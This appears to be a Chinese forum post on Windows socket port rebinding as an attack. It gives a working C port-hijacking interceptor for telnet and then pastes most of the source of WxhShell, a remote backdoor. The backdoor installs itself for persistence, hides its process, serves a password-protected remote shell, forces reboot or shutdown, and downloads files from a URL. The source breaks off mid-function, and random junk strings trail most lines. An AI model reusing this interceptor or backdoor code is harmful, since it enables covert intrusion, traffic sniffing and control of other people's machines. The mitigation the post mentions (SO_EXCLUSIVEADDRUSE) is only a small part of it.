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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i,$n4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ozc9yy!%  
JjQTD-^  
  saddr.sin_family = AF_INET; K`cy97  
h56s~(?O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G*^4 CJ  
^}hSsE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |Fzt| \  
$K!6T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +|spC  
JU-eoB}m  
  这意味着什么?意味着可以进行如下的攻击: bg,VK1  
<V4"+5cJ8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bKPjxN?!9  
#r80FVwiD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G4,BcCPQ  
.J9\Fr@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8X= 2#&)  
h,2?+}Fn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1.z !u%2  
g);.".@"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $s5D/60nO  
<D(|}5qR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~fly6j|u  
ltmD=-]G_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q62U+o9G  
]+AgXUrbOD  
  #include 4{ exv  
  #include ; HjT  
  #include 2v1dSdX,W  
  #include    6Nz S<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #4?:4Im#  
  int main() U{-[lpd  
  { c}#(,<8X  
  WORD wVersionRequested; @-}!o&G0  
  DWORD ret; Z+! 96LR  
  WSADATA wsaData; -<gQ>`(0  
  BOOL val; x!9bvQT  
  SOCKADDR_IN saddr; ut9R] 01:  
  SOCKADDR_IN scaddr; %967#XI[y  
  int err; ~DK=&hCd!  
  SOCKET s; ~=pyA#VVJ"  
  SOCKET sc; Bd*\|M  
  int caddsize; Fk&A2C}$b  
  HANDLE mt; hUMFfc ?  
  DWORD tid;   [$%0[;jtS  
  wVersionRequested = MAKEWORD( 2, 2 );  2dBjc{  
  err = WSAStartup( wVersionRequested, &wsaData ); )N]%cO(^  
  if ( err != 0 ) { azp XE  
  printf("error!WSAStartup failed!\n"); Hbz,3{o5  
  return -1; BjbpRQ,  
  } '3ZYoA%  
  saddr.sin_family = AF_INET; >U') ICD~  
   H6-{(: *<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #h7 $b@  
'd|E>8fejG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <=!|U0YV  
  saddr.sin_port = htons(23); #Xd#Nc j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =`BPGfC b  
  { Ph C{Gg  
  printf("error!socket failed!\n"); ~dj4Q eu  
  return -1; .2STBh.;  
  } jQ\/R~)O  
  val = TRUE; I K Dh)Zm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i]n ?zWo_h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) . aqP=  
  { =J&aN1Hgt  
  printf("error!setsockopt failed!\n"); bR? $a+a)  
  return -1; vke]VXU9z  
  } d`4@aoM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rwep e5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FuZLE%gP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Rk52K*Dc  
_<G%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y@M l}43  
  { "]{"4qV1=  
  ret=GetLastError(); 8\ WOss)al  
  printf("error!bind failed!\n"); Ol. rjz9  
  return -1; de?lO ;8  
  } <\S j5  
  listen(s,2); z[ N_3n  
  while(1) ZE>!]# ,  
  { wKs-<b%;  
  caddsize = sizeof(scaddr); Yo#F;s7  
  //接受连接请求 0_5j(   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7u7 <"?v=  
  if(sc!=INVALID_SOCKET) >c:- ;(k  
  { f:K`M W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ; +E@h=?  
  if(mt==NULL) U?Icyn3q0  
  { HFd>UdT%  
  printf("Thread Creat Failed!\n"); vxC,8Z  
  break; auT$-Ki8  
  } i#y3QCNqf^  
  } 6J%+pt[tu  
  CloseHandle(mt); N8:&v  
  } )IP{yL8c  
  closesocket(s); Sk,9<@  
  WSACleanup(); 8q& *tpE  
  return 0; C]+T5W\"<B  
  }   yD9<-B<)  
  DWORD WINAPI ClientThread(LPVOID lpParam) P&@[ j0  
  { ew cgg  
  SOCKET ss = (SOCKET)lpParam; kaj6C_k|  
  SOCKET sc; ';bovh@*  
  unsigned char buf[4096]; ZM%z"hO9R  
  SOCKADDR_IN saddr; ,0Y5O?pu\  
  long num; 4?^t=7N  
  DWORD val; F DCHB~D  
  DWORD ret; c;e2= A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Bswd20(w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J]|lCwF  
  saddr.sin_family = AF_INET; \dag~b<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <\cH9D`dE  
  saddr.sin_port = htons(23); S*1Km&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NCM&6<_  
  { : Gz#4k  
  printf("error!socket failed!\n"); zl !`*{T{  
  return -1; U'acVcD  
  } 1$Pn;jg:  
  val = 100; h8!;RN[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KGm"-W  
  { W<D(M.61A  
  ret = GetLastError(); 7+I2" Hy  
  return -1; {E~ MqrX  
  } pQ Y.MZSA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }3Y3f).ZW  
  { q:1_D>  
  ret = GetLastError(); z!I(B^)BkT  
  return -1; 5Y8/ZW~D0  
  } R]Q4+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5PQs1B  
  { =Jx,.|Bf  
  printf("error!socket connect failed!\n"); E*Q><UU  
  closesocket(sc); zoV-@<Eh  
  closesocket(ss); L. xzI-I@D  
  return -1; SAEr$F^  
  } &n:F])`2  
  while(1) SdfrLdi}Y  
  { ]{[VTjC7rY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z<#beT6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =R^V[zTn_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?_F,HhQ  
  num = recv(ss,buf,4096,0); 0F<O \  
  if(num>0) w^&TG3m1~  
  send(sc,buf,num,0); 4{\h53j$  
  else if(num==0) z.[ Ok  
  break; m dC.M$  
  num = recv(sc,buf,4096,0); B94mh  
  if(num>0) ;Db89Nc$  
  send(ss,buf,num,0); 1& k_&o  
  else if(num==0) 3a4 ]{  
  break; 8F<Qc*'  
  } X3:-+]6,d  
  closesocket(ss); j]"Yz t~u  
  closesocket(sc); UP]J `\$o  
  return 0 ; m GWT</=[$  
  } "l&sDh%Lk<  
&0 VM <  
{=,?]Z+  
========================================================== rY>{L6d  
F~ n}Ep~1  
下边附上一个代码,,WXhSHELL >Tld:  
0=8.8LnN(  
========================================================== F^=|NlU&%  
5U[;T]{)e  
#include "stdafx.h" MQQ!@I`  
[PrR 3 0:  
#include <stdio.h> )^^r\  
#include <string.h> 9b !+kJD  
#include <windows.h> {cv,Tz[Q>  
#include <winsock2.h> ~}mX#,  
#include <winsvc.h> sDCa&"6+@  
#include <urlmon.h> t?v0ylN  
kvdzD6T 9  
#pragma comment (lib, "Ws2_32.lib") 'lv\I9"S)  
#pragma comment (lib, "urlmon.lib") ,h1r6&MEY  
h.QKbbDj  
#define MAX_USER   100 // 最大客户端连接数 ,7pO-:*g  
#define BUF_SOCK   200 // sock buffer 1GW=QbO 6  
#define KEY_BUFF   255 // 输入 buffer }@Oy kN  
H+; _fd  
#define REBOOT     0   // 重启 sf?D4UdIH  
#define SHUTDOWN   1   // 关机 hSD)|  
/s=TLPm  
#define DEF_PORT   5000 // 监听端口 1C=}4^Pu  
r&\}E+  
#define REG_LEN     16   // 注册表键长度 +gOCl*L  
#define SVC_LEN     80   // NT服务名长度 *kxk@(lT?  
6yF4%Sz9  
// 从dll定义API "_C^Bc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yi7-[W}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nrA}36E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [6 !/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {61NLF\0H  
+6f5uMKUvs  
// wxhshell配置信息 ''wWw(2O  
struct WSCFG { r}QW!^F  
  int ws_port;         // 监听端口 ;=6 ++Oq  
  char ws_passstr[REG_LEN]; // 口令 8@/]ki `>  
  int ws_autoins;       // 安装标记, 1=yes 0=no v^[Ny0cM  
  char ws_regname[REG_LEN]; // 注册表键名 ,KIa+&vJW@  
  char ws_svcname[REG_LEN]; // 服务名 0ldde&!p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g?i_10Xlp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `a2Oj@jP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C>@~W(IE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RN3w{^Ll  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .d9VV&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sj`9O-?49  
(>>pla^  
}; .dp~%!"Sn,  
x-Z`^O  
// default Wxhshell configuration :%A1k2  
struct WSCFG wscfg={DEF_PORT, C|W_j&S65  
    "xuhuanlingzhe", X?Omk, '  
    1, FWdSpaas Q  
    "Wxhshell", >9=Y(`  
    "Wxhshell", _hMVv&$  
            "WxhShell Service", H U$:x"AW  
    "Wrsky Windows CmdShell Service", t_,iV9NrZ  
    "Please Input Your Password: ", ^C):yxN P  
  1, q`}Q[Li  
  "http://www.wrsky.com/wxhshell.exe", f<WnPoV  
  "Wxhshell.exe" OV>T}Fq  
    }; VPn #O  
PKfxL}:"8  
// 消息定义模块 X&M4 c5Li  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^=D77 jS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _ZD)#?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +B_q? 6pR  
char *msg_ws_ext="\n\rExit."; c.,:r X0S  
char *msg_ws_end="\n\rQuit."; "a`0s_F,^  
char *msg_ws_boot="\n\rReboot..."; JO7IzD\  
char *msg_ws_poff="\n\rShutdown..."; BaiC;&(   
char *msg_ws_down="\n\rSave to "; YT, 1E>rd  
>H5BY9]I  
char *msg_ws_err="\n\rErr!"; v>)[NAY9  
char *msg_ws_ok="\n\rOK!"; +tkd($//  
m3 (fr  
char ExeFile[MAX_PATH]; .K}u`v T  
int nUser = 0; R.|fc5_"+  
HANDLE handles[MAX_USER]; g;v{JB  
int OsIsNt; DD|%F  
\(Zdd \,  
SERVICE_STATUS       serviceStatus; Si*Pi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GMgsM6.R  
d)r=W@tF]  
// 函数声明 \D,0  
int Install(void); ,`/!0Wmt  
int Uninstall(void); ui G7  
int DownloadFile(char *sURL, SOCKET wsh); Fdu0?H2TL  
int Boot(int flag); #&r^~>,#L-  
void HideProc(void); 5:CC\!&QBV  
int GetOsVer(void); fPK|Nw]b  
int Wxhshell(SOCKET wsl); &!/L^Y*+  
void TalkWithClient(void *cs); Ax0u \(p<^  
int CmdShell(SOCKET sock); qg:1  
int StartFromService(void); N_q7ip%z  
int StartWxhshell(LPSTR lpCmdLine); q'+XTal  
 vxr3|2`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :XBeGNI*#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l%fnGe` _  
StP6G ]x  
// 数据结构和表定义 fBD5K3  
SERVICE_TABLE_ENTRY DispatchTable[] = yql+N[  
{ og. dYs7W4  
{wscfg.ws_svcname, NTServiceMain}, Zf]d'oW{/  
{NULL, NULL} A+Y>1-=JO  
}; z ;y2 2  
yn!LJT[~2  
// 自我安装 Gk799SDL  
int Install(void) t ~U&a9&Z  
{ fn#b3ee  
  char svExeFile[MAX_PATH]; dWD9YIYf  
  HKEY key; }Ss#0Gee  
  strcpy(svExeFile,ExeFile); >\} 2("bv  
lJKhP  
// 如果是win9x系统,修改注册表设为自启动 N1P [&lR  
if(!OsIsNt) { k@4]s_2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `x6 i5mp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a2Q9tt>Q  
  RegCloseKey(key); :7:Nx`D8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1;vn*w`p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @%ChPjN  
  RegCloseKey(key); r1ctW#\~8  
  return 0; B`RbXk68q  
    } 1/gY]ghL  
  } WF*2^iWJ  
} OYG8%L  
else { 7gD$Q  
z>~`9Qiw'  
// 如果是NT以上系统,安装为系统服务 S:rW}rJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RFg$N@g,  
if (schSCManager!=0) O+.V,` O  
{ -U%wLkf|  
  SC_HANDLE schService = CreateService k[Uc _=  
  ( Ik;~u8j1e  
  schSCManager, ,D ;`t  
  wscfg.ws_svcname, ,589/xTA@  
  wscfg.ws_svcdisp, z56W5g2  
  SERVICE_ALL_ACCESS, *tz"T-6O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'OBA nE<.  
  SERVICE_AUTO_START, K{M_ 4'\  
  SERVICE_ERROR_NORMAL, @] )a  
  svExeFile, "-v9V7KCM  
  NULL, g"# R>&P  
  NULL, )F4er '  
  NULL, .t"s>jq 1  
  NULL, 'cH),~ z  
  NULL *|euC"5c  
  ); (X>r_4W$  
  if (schService!=0) ms;Lu- UR  
  { 4"l(rg  
  CloseServiceHandle(schService); bhe|q`1,E  
  CloseServiceHandle(schSCManager); I \ vu?$w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6G@_!i*2F  
  strcat(svExeFile,wscfg.ws_svcname); Ms^Y:,;Hi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .o|Gk 5)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  9l{r&]  
  RegCloseKey(key); Am  kHVg  
  return 0; C/!2q$  
    } eSa ]6  
  } xiA9X]FB  
  CloseServiceHandle(schSCManager); _6=6 b!hD  
} .%WbXs  
} x0Tb7y`  
iKp4@6an  
return 1; Pb]s+1  
} ;K$E;ZhPN  
]0m4esK`  
// 自我卸载 VCbnS191*  
int Uninstall(void) OWOj|jM  
{ G;fP  
  HKEY key; apGf@b  
VWLou jB  
if(!OsIsNt) { Q CfA3*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $G*$j!  
  RegDeleteValue(key,wscfg.ws_regname); ##k== 'dR  
  RegCloseKey(key); N<N!it  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r<&d1fM;X  
  RegDeleteValue(key,wscfg.ws_regname); ;zSh9H  
  RegCloseKey(key); !R)v2Mk|  
  return 0; +Icg;m{  
  } O^U{I?gQ  
} *<Qn)Az  
} =H!u4  
else { LAMTf"a  
g&BF#)7C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fm [,u  
if (schSCManager!=0) uERc\TZ  
{ /JR*X!&"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pw- C=MY]  
  if (schService!=0) ]d% hU  
  { i/)Uj-*G)  
  if(DeleteService(schService)!=0) { /7P4[~vw  
  CloseServiceHandle(schService); eW7;yH  
  CloseServiceHandle(schSCManager); lD !^MqK  
  return 0; ~5cLI;4h  
  } =C<_rBY  
  CloseServiceHandle(schService); lv$tp,+  
  } G+\2Aj  
  CloseServiceHandle(schSCManager); :j?Lil%R  
} \n:'>:0X!  
} (MNbABZQ  
5^0W\  
return 1; 7*@qd&  
} #G9S[J=xe  
Q3z-v&^E9  
// 从指定url下载文件 7z F29gC  
int DownloadFile(char *sURL, SOCKET wsh) 1[X+6viE  
{ q\mVZyj  
  HRESULT hr; &:'Uh W-t  
char seps[]= "/"; \ J9@p  
char *token; oEKLuy  
char *file; sbkWJy  
char myURL[MAX_PATH]; &*MwKr<y  
char myFILE[MAX_PATH]; a#j0N5<Nl  
#p=/P{*  
strcpy(myURL,sURL); %Vive2j C  
  token=strtok(myURL,seps); <K4'|HU/  
  while(token!=NULL) @uT\.W:Q2  
  { E(TL+o  
    file=token; 193Q  
  token=strtok(NULL,seps); w(.k6:e  
  } c5]^jUB6  
OU0\xx1/  
GetCurrentDirectory(MAX_PATH,myFILE); =AZ>2P  
strcat(myFILE, "\\"); f4`=yj*  
strcat(myFILE, file); hQ8/-#LO_  
  send(wsh,myFILE,strlen(myFILE),0); f5d"H6%L  
send(wsh,"...",3,0); I.q nA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A9$q;8= <  
  if(hr==S_OK) qBKIl= ne  
return 0; mm:\a-8j  
else Os?~U/  
return 1; 8BLtTpu  
x*bM C&Ea  
} *>S\i7RET  
Td"f(&Hk&  
// 系统电源模块 oDM}h +  
int Boot(int flag) <P}{0Y~@*W  
{ HPr5mWs:  
  HANDLE hToken; A*MlK"  
  TOKEN_PRIVILEGES tkp; H.wp{m{  
dO rgqz`e  
  if(OsIsNt) { (j}"1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K~v"%sG{`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *4]I#N  
    tkp.PrivilegeCount = 1; #N@sJyI N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VJZ   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EvQN(_  
if(flag==REBOOT) { -4;{QB?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /e#_Yg  
  return 0; u -CY-  
} . (Q;EF`_U  
else { J<u,Y= -~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e l7P  
  return 0; m{gt(n  
} :4&qASn  
  } bWUo(B#*I  
  else { c%Kv"Z%f  
if(flag==REBOOT) { m3P%E8<Q#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c?>Q!sC  
  return 0; d8dREhK&  
} :eei<cn2  
else { :6N{~[:4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (Dq3e9fX  
  return 0; Ok2k; +l  
} D|`[ [  
} lj'c0k8  
" 0K5 /9  
return 1; F}2U8O  
} p>|;fS\`@}  
B.0(}@  
// win9x进程隐藏模块 yxLGseD  
void HideProc(void) KzI$GU3  
{ Xk(c2s&  
 V:F)m!   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IWuR=I$t  
  if ( hKernel != NULL ) VU}UK$JN  
  { +Rxf~m(pV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "A,]y E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tlI3jrgw  
    FreeLibrary(hKernel); ,? <jue/bd  
  } OUnt?[U\  
o&fAnpia=  
return; 76mQ$ze  
} {C|#<}1  
ZMy7z|  
// 获取操作系统版本 Wi hQj  
int GetOsVer(void) `3/,-  
{ 9V[|_  
  OSVERSIONINFO winfo; P0k|33;7L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uTBls8  
  GetVersionEx(&winfo); .nKyB'uV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "4&HxD8_ih  
  return 1; =>4>Z_q  
  else G@ BrU q  
  return 0; l3b$b%0'  
} ]^/:Xsk$  
E/Eny 5  
// 客户端句柄模块 IAhyGD{b  
int Wxhshell(SOCKET wsl) YJ. 'Yc  
{ r >u0Y  
  SOCKET wsh; P_,f  
  struct sockaddr_in client; ) ?+-Z2BwA  
  DWORD myID; OT{qb!eYI  
#@ 3RYx  
  while(nUser<MAX_USER) bX=ht^e [  
{ eIg ' !8h?  
  int nSize=sizeof(client); )=[K$>0k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (s,Nq~O  
  if(wsh==INVALID_SOCKET) return 1; bx!Sy0PUJ  
!ck=\3pr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y}(v[QGV  
if(handles[nUser]==0) 6V*@ {  
  closesocket(wsh); 4US8B=jk  
else V0c*M>V  
  nUser++; 8!4=j  
  } &CCB;Oi%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CNM/}|N^Si  
T{{J' _s5L  
  return 0; V-O49  
} 'nBJ[$2^  
IP-CN  
// 关闭 socket _ZC4O&fL  
void CloseIt(SOCKET wsh) y? )v-YGu  
{ mQ('X~l  
closesocket(wsh); EYcvD^!1g  
nUser--; yQM7QLbTk  
ExitThread(0); 8y/YX  
} {ZY^tTsY  
$/Zsy6q:  
// 客户端请求句柄 zf5s\w.4  
void TalkWithClient(void *cs) _+wv3? c"  
{ 9Rb-QI  
&gIu<*u<  
  SOCKET wsh=(SOCKET)cs; V[rNJf1z  
  char pwd[SVC_LEN]; DTl M}  
  char cmd[KEY_BUFF]; L7wl3zG  
char chr[1]; #HJF==  
int i,j; ~; Ss)d  
Xi4!7IOm o  
  while (nUser < MAX_USER) { #fzvK+  
rRYP~ $c  
if(wscfg.ws_passstr) { (GMKIw2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ AS2$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n<"?+bz"<  
  //ZeroMemory(pwd,KEY_BUFF); J=Ak+  J  
      i=0; Yw\} '7  
  while(i<SVC_LEN) { ?G* XZ0u~  
I&q:w\\z8|  
  // 设置超时 *~lD;{2  
  fd_set FdRead; A\i /@x5#  
  struct timeval TimeOut; [WRs1$5  
  FD_ZERO(&FdRead); [j 'Ogm7"  
  FD_SET(wsh,&FdRead); jF Bq>  
  TimeOut.tv_sec=8; bqsb (C  
  TimeOut.tv_usec=0; ^ Gq2"rDM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?*9U d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  aVz<RS  
w4:n(.;HK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [I4K`>|Z  
  pwd=chr[0]; Ty*ec%U9F  
  if(chr[0]==0xd || chr[0]==0xa) { E@JxY  
  pwd=0; GWM2l?zOP  
  break; 'R*xg2!i  
  } n AoGG0$5  
  i++; -l`@pklQ  
    } 6IctW5b  
QKwWX_3%Z]  
  // 如果是非法用户,关闭 socket J= ia  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x +q"%9.c  
} ~V`D@-VND  
9RE{,mos2v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z, lUO.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ":Kn@S'{(  
}2:bYpYQ  
while(1) { MN$j{+!Q  
^;6~=@#*C  
  ZeroMemory(cmd,KEY_BUFF); zt[TShD^  
l^u P?l"  
      // 自动支持客户端 telnet标准    +h9U V  
  j=0; +&4PGv53J  
  while(j<KEY_BUFF) { E,c~.jYc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f8#WT$Ewy  
  cmd[j]=chr[0]; 6!n"E@Bwu  
  if(chr[0]==0xa || chr[0]==0xd) { L`R,4mI.W  
  cmd[j]=0; CbQ@l@d]  
  break; /JEH%)  
  } >BrxJw#M  
  j++; /q uf'CV}  
    } /I7sa* i  
~BERs;4  
  // 下载文件 j72cSRv  
  if(strstr(cmd,"http://")) { \S=!la_T@m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C: kl/9M@  
  if(DownloadFile(cmd,wsh)) ` eND3c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ,H1J$=X'  
  else i>ORCOOU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MeQ(,irr^  
  } ,RCjfX a  
  else { \$?[>=<wB  
}sPY+ZjV  
    switch(cmd[0]) { ii2oWU  
  \CUxGyu  
  // 帮助 fOE:~3Q  
  case '?': { i#kRVua/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 66p_d'U  
    break; &I'~:nWpt  
  } ~<v{CBq[  
  // 安装 @T;O^rE~N  
  case 'i': { C;dA?Es>R  
    if(Install()) sx*1D9s_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jgtv ia  
    else E0xUEAO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Mu-c:1  
    break; .Z%7+[  
    } p\+#`] Q7}  
  // 卸载 /D1Bf:'(  
  case 'r': { gW/H#T,  
    if(Uninstall()) ,=$yvZs4[]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _\@i&3hkx  
    else Xuh_bW&zF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Jhx4/10  
    break; k`oXo%  
    } B|:{.U@ne  
  // 显示 wxhshell 所在路径 i$"FUC~'  
  case 'p': { & \<RVE  
    char svExeFile[MAX_PATH]; T2Y`q'  
    strcpy(svExeFile,"\n\r"); R&ou4Y:DG  
      strcat(svExeFile,ExeFile); lmH!I )5  
        send(wsh,svExeFile,strlen(svExeFile),0); rt^z#2$  
    break; *ivbk /8  
    } Zr}`W \  
  // 重启 LTzf&TZbx5  
  case 'b': { \M>AN Z}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mh~T.;f.qq  
    if(Boot(REBOOT)) V9Au\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MYN1zYT6j  
    else { wf|CE410  
    closesocket(wsh); !cSD9q*  
    ExitThread(0); Vg:P@6s  
    } aj(M{gFq~  
    break; JYv&It  
    } ZmmuP/~2K  
  // 关机 Tw!x*  
  case 'd': { c}QQ8'_  
